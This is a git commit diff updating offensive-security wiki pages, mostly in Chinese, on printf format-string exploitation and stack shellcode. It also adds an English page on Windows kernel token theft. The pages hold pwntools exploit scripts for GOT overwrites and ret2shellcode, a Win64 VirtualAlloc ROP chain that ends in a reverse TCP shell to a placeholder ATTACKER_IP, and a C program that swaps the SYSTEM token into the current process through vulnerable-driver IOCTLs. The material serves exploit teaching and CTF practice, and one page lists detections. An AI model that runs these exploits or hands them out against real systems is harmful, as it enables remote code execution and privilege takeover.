Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 16:48:29 +00:00
parent 6d62d007e1
commit bc7c255265
5 changed files with 700 additions and 443 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -5,13 +5,13 @@
## 基本信息
在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数****带格式的原始文本**。后续的 **参数****替代** 原始文本中 **格式化符****值**
在 C 中,**`printf`** 是一个可用于**打印**字符串的函数。该函数期望的**第一个参数**是包含**格式化占位符的原始文本**。之后期望的**后续参数**是用来**替换**原始文本中**格式化占位符**的**值**
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
其他易受攻击的函数 **`sprintf()`** 和 **`fprintf()`**。
**攻击者的文本作为第一个参数** 被用作此函数时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**
**攻击者控制的文本被用作该函数的第一个参数**时,就会出现该漏洞。攻击者可以构造**特殊输入滥用** **printf format** 字符串能力来读取并**写入任意地址的任何数据(可读/可写)**。通过这种方式能够**执行任意代码**
#### 格式化符:
#### 格式化占位符:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -22,24 +22,24 @@
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**示例**
**示例:**
- 漏洞示例:
- 有漏洞的示例:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- 正常使用:
- 正常 用法:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- 缺失参数:
- 参数缺失时:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf 漏洞:
- fprintf 易受攻击:
```c
#include <stdio.h>
@ -54,11 +54,11 @@ return 0;
```
### **访问指针**
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做:
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自 stack。因此如果你想使用 printf 读取 stack 上的第 4 个参数,你可以这样做:
```c
printf("%x %x %x %x")
```
你可以从第一个参数读取到第四个参数。
并且你会从第一个读取到第四个参数。
或者你可以这样做:
```c
@ -66,14 +66,14 @@ printf("%4$x")
```
并直接读取第四个。
注意,攻击者控制`printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。
注意,攻击者控制`printf` **参数,这基本意味着**当 `printf` 被调用时,他的输入会位于栈上,这也意味着他可以在栈中写入特定的内存地址。
> [!CAUTION]
> 控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。
> 控制该输入的攻击者将能够 **在栈中添加任意地址并让 `printf` 访问这些地址**。下一节将解释如何利用该行为。
## **任意读取**
## **Arbitrary Read**
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置****地址**,并 **将其打印为字符串**(打印直到找到 0x00。因此如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第四个位置开始,则可以使用以下方式打印二进制文件的开头
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于**n** 个位置的**地址**,随后将该地址指向的内容**按字符串方式打印**(打印直到遇到 0x00 为止)。因此,如果二进制的基地址为 **`0x8048000`**,并且我们知道用户输入在栈上的第 4 个位置开始,就可以打印二进制的起始内容
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束
> 注意:你不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址末尾被 0x00 截断
### 查找偏移
### 查找偏移
要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A`。
要找到到你输入的偏移量,你可以发送 4 或 8 字节(`0x41414141`)后跟 **`%1$x`**,并**增加**该值直到检索到 `A's`。
<details>
<summary>暴力破解 printf 偏移量</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -126,44 +126,45 @@ p.close()
```
</details>
### 有多有
### 有用
任意读取可以用于:
Arbitrary reads 可以用于:
- **从内存中转储** **二进制文件**
- **访问存储敏感信息的内存特定部分**(如 canaries、加密密钥或自定义密码如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **任意写入**
## **Arbitrary Write**
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字
格式化器 **`%<num>$n`** **写入** **写入的字节数****栈中由 <num> 参数指示的地址**。如果攻击者能够通过 printf 写入任意数量的字符,就可以让 **`%<num>$n`** 在任意地址写入任意数值
幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 写入数字 **`<num-write>`**
幸运的是,要写入数字 9999并不需要在输入中添加 9999 个 "A"。可以使用格式化器 **`%.<num-write>%<num>$n`** 将数字 **`<num-write>`** 写入 **由 `num` 位置指向的地址**
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个很大的数字一次性写入),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的高 2B另一次是针对低 2B。
不过,注意通常为了写入像 `0x08049724`(一次写入是一个很大的数)这样的地址,**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 Bytes**。因此该操作需要执行两次,一次写入地址的高 2B另一次写入低 2B。
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
因此,这个漏洞允许**在任意地址写入任意内容 (arbitrary write)。**
在这个示例中,目标是要**覆盖**GOT 表中将被后续调用的某个**函数**的**地址**。虽然也可以利用其它 arbitrary write 到 exec 的技术:
在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到执行的技术:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
我们将**覆盖**一个**函数**,该函数**接收**来自**用户**的**参数**并**指向**`system` **函数**。\
如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入另外 2 字节。为此使用**`$hn`**。
我们将**覆盖**一个**从用户接收参数**的**函数**,并将其指向 **`system`** **函数**。\
如前所述,为了写入地址,通常需要两步:你**先写入地址的 2 Bytes**,然后再写入剩下的 2 Bytes。为此使用 **`$hn`**。
- **HOB** 是指地址的 2 个高字节
- **LOB** 是指地址的 2 个低字节
- **HOB** 指地址的高 2 bytes
- **LOB** 指地址的低 2 bytes
然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
然后,由于 format string 的工作方式,你需要**先写入 [HOB, LOB] 中较小的那个**,再写入另一个。
如果 HOB < LOB\
If HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
如果 HOB > LOB\
If HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -172,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools 模板
您可以在以下位置找到用于准备此类漏洞的 **模板**
你可以在以下位置找到用于为此类漏洞准备利用的**模板**
{{#ref}}
format-strings-template.md
{{#endref}}
或者这个基本示例来自 [**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
或者这个来自 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) 的基本示例
```python
from pwn import *
@ -198,9 +199,45 @@ p.sendline('/bin/sh')
p.interactive()
```
## 格式字符串到缓冲区溢出
## Format Strings to BOF
可以利用格式字符串漏洞的写入操作来**写入栈的地址**,并利用**缓冲区溢出**类型的漏洞。
可以滥用 format string vulnerability 的写操作,将数据写入 **write in addresses of the stack**,并利用 **buffer overflow** 类型的漏洞。
## Windows x64: Format-string leak to bypass ASLR (no varargs)
在 Windows x64 上,前四个整型/指针参数通过寄存器传递RCX, RDX, R8, R9。在许多有漏洞的调用点中攻击者控制的字符串被用作 format argument但没有提供 variadic arguments例如
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
因为没有传递 varargs任何像 "%p", "%x", "%s" 这样的转换都会导致 CRT 从相应的寄存器读取下一个 variadic argument。With the Microsoft x64 calling convention the first such read for "%p" comes from R9。调用点 R9 中的任何瞬时值都会被打印出来。实际上,这通常会 leak 一个稳定的 in-module pointer例如一个之前由周围代码放入 R9 的 local/global 对象的指针,或一个 callee-saved 值),可用于恢复 module base 并绕过 ASLR。
Practical workflow:
- 在 attacker-controlled string 的最开始注入像 "%p " 这样无害的 format这样第一次转换会在任何过滤之前执行。
- 捕获 leaked pointer确定该对象在 module 内的静态偏移(通过 reversing使用符号或本地副本并将 image base 恢复为 `leak - known_offset`
- 重用该 base 来计算远程 ROP gadgets 和 IAT entries 的绝对地址。
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
注意事项:
- 要减去的精确偏移量在本地逆向时确定一次,然后重用(相同的二进制/版本)。
- 如果 "%p" 在第一次尝试时没有打印出有效的指针,尝试其他格式说明符 ("%llx", "%s") 或多次转换 ("%p %p %p") 来采样其他参数寄存器/stack。
- 该模式特定于 Windows x64 calling convention 和 printf-family 的实现——当 format string 请求时,会从寄存器获取不存在的 varargs。
该技术对于在启用了 ASLR 且没有明显 memory disclosure primitives 的 Windows 服务上引导 ROP 非常有用。
## 其他示例与参考
@ -208,10 +245,15 @@ p.interactive()
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32无relro无canarynx无pie基本使用格式字符串从栈中泄露标志无需更改执行流程
- 32 bitno relrono canarynxno pie基本使用 format strings 从 stack leak flag不需要改变 execution flow
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32relro无canarynx无pie格式字符串覆盖地址`fflush`与win函数ret2win
- 32 bitrelrono canarynxno pie使用 format string 覆盖地址 `fflush` 为 win 函数 (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32位relro无canarynx无pie格式字符串在`.fini_array`中写入main内部的地址使流程再循环一次并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时`strlen`将以用户输入为参数执行,并指向`system`,将执行传递的命令。
- 32 bitrelrono canarynxno pie使用 format string 将一个地址写入 main 内的 `.fini_array`(这样流程会再回到 main 一次),并在 GOT 表中将指向 `strlen` 的地址写为 `system`。当流程返回 main 时,执行 `strlen`(带用户输入),但因指向 `system`,将执行所传的命令。
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## 基本信息
**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 **Instruction Pointer (IP)****Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置,从而导致其执行。这是一种经典的方法,用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码
**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 **Instruction Pointer (IP)****Extended Instruction Pointer (EIP)**,使其指向该 shellcode 的位置,从而导致其执行。这是一种经典方法,用于在目标系统上获取未授权访问或执行任意命令。下面分解该过程,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的 exploit
### C 示例:一个易受攻击的程序
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
该程序因为使用 `gets()` 函数而容易受到缓冲区溢出攻击。
### 编译
要在禁用各种保护的情况下编译此程序(以模拟易受攻击的环境),可以使用以下命令:
要在禁用各种保护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: 禁用栈保护。
- `-z execstack`: 使栈可执行,这对于执行存在栈上的 shellcode 是必要的。
- `-no-pie`: 禁用位置无关可执行文件,使预测我们的 shellcode 将位于的内存地址变得更容易
- `-m32`: 将程序编译为 32 位可执行文件,通常用于简化漏洞开发。
- `-z execstack`: 使栈可执行,这对于执行存在栈上的 shellcode 是必要的。
- `-no-pie`: 禁用 Position Independent Executable使我们更容易预测 shellcode 将所在的内存地址
- `-m32`: 将程序编译为 32 位可执行文件,常用于简化 exploit 开发。
### 使用 Pwntools 的 Python 漏洞利用
### 使用 Pwntools 的 Python Exploit
下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的示例
是如何使用 **pwntools** 在 Python 中编写 exploit 以执行 **ret2shellcode** 攻击
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
这个脚本构造了一个有效载荷,由**NOP滑块**、**shellcode**组成然后用指向NOP滑块的地址覆盖**EIP**确保shellcode被执行。
该脚本构造了一个 payload包含 **NOP slide**、**shellcode**,然后将 **EIP** 覆盖为指向 NOP slide 的地址,以确保 shellcode 被执行。
**NOP滑块**`asm('nop')`用于增加执行“滑入”我们的shellcode的机会无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量以便落入NOP滑块
**NOP slide** (`asm('nop')`) 用来增加执行“滑入”我们 shellcode 的几率,而不依赖精确地址。调整 `p32()` 的参数为你的缓冲区起始地址加上一个偏移,以落在 NOP slide 上
## 保护措施
## Windows x64: 绕过 NX使用 VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该禁用**以确保地址在执行之间是可靠的否则存储函数的地址不会总是相同您需要一些泄漏以确定win函数加载的位置。
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应该禁用否则被破坏的EIP返回地址将永远不会被跟随。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode因为该区域将不可执行。
在现代 Windows 上stack 是 non-executableDEP/NX。在发生 stack BOF 后仍想执行驻留在栈上的 shellcode 的常用方法是构建一个 64-bit ROP chain从模块的 Import Address Table (IAT) 调用 VirtualAlloc或 VirtualProtect使栈上的某个区域变为可执行然后返回到紧随该链之后的 shellcode。
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → 选择当前栈中的一个地址(例如 RSP这样新分配的 RWX 区域会与你的 payload 重叠
- RDX = dwSize → 足够容纳你的 chain + shellcode例如 0x1000
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base例如通过 format-string、object pointer 等)以便在 ASLR 下计算出绝对 gadget 和 IAT 地址。
2) 找到用于加载 RCX/RDX/R8/R9 的 gadgetspop 或 mov/xor 类序列)以及可 call/jmp [VirtualAlloc@IAT] 的 gadget。如果没有直接的 pop r8/r9使用算术 gadgets 来合成常量(例如,将 r8 设为 0然后重复将 r9 加 0x40 四十次以达到 0x1000
3) 将 stage-2 shellcode 放置在链之后紧接的位置。
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
在受限的 gadget 集合下,你可以间接构造寄存器的值,例如:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 将 r9 设为 rbx 的值,将 r8 清零,并用一个垃圾 qword 补偿栈。
- xor rbx, rsp; ret → 用当前的栈指针为 rbx 赋值。
- push rbx; pop rax; mov rcx, rax; ret → 将来源于 RSP 的值移动到 RCX。
Pwntools 示例(在已知基址和 gadgets 的情况下):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
提示:
- VirtualProtect 的工作方式类似,如果更倾向于将现有缓冲区设为 RX参数顺序不同。
- 如果 stack 空间不足,在别处分配 RWXRCX=NULL并 jmp 到该新区域,而不是重用 stack。
- 始终考虑会调整 RSP 的 gadgets例如 add rsp, 8; ret通过插入垃圾 qwords 来补偿。
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该被禁用**,以使地址在不同执行中可靠,否则函数将被存放的地址不会总是相同,你将需要一些 leak 来确定 win 函数加载在哪里。
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应被禁用,否则被破坏的 EIP 返回地址将永远不会被执行。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保护会阻止在 stack 内的 shellcode 执行,因为该区域不会是可执行的。
## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64位ASLR与栈地址泄漏写入shellcode并跳转到它
- 64bitASLR有 stack 地址 leak写入 shellcode 并 jump 到它
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32位ASLR与栈泄漏写入shellcode并跳转到它
- 32 bitASLRstack leak写入 shellcode 并 jump 到它
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32位ASLR与栈泄漏比较以防止调用exit()用一个值覆盖变量并写入shellcode并跳转到它
- 32 bitASLRstack leak通过比较防止调用 exit(),覆盖变量为某值并写入 shellcode 并 jump 到它
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64无ASLRROP小工具使栈可执行并跳转到栈中的shellcode
- arm64无 ASLR使用 ROP gadget 使 stack 可执行并 jump 到 stack 中的 shellcode
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## Overview
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process EPROCESS into the current process EPROCESS.
Why it works:
- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
- The SYSTEM process (PID 4) holds a token with all privileges enabled.
- Replacing the current process EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
## High-level steps
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEMs EPROCESS.
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
- EPROCESS_SYSTEM (for SYSTEM)
- EPROCESS_SELF (for the current process)
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEMs pointer to keep the embedded ref count consistent.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
## Pseudocode
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your drivers interface.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
注意:
- 偏移:使用 WinDbg 的 `dt nt!_EPROCESS` 配合目标的 PDBs或使用运行时符号加载器以获取正确的偏移。不要盲目硬编码。
- 掩码:在 x64 上 token 是一个 EX_FAST_REF低 3 位是引用计数位。保留你 token 的原始低位可以避免立即的引用计数不一致。
- 稳定性:优先提升当前进程;如果你提升的是一个短生命周期的 helper当它退出时你可能会失去 SYSTEM。
## 检测 & 缓解
- 加载未签名或不受信任的第三方驱动并暴露强大的 IOCTLs 是根本原因。
- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard 和 Attack Surface Reduction 规则可以阻止易受攻击的驱动加载。
- EDR 可以监视实现任意读/写的可疑 IOCTL 序列以及 token swaps。
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}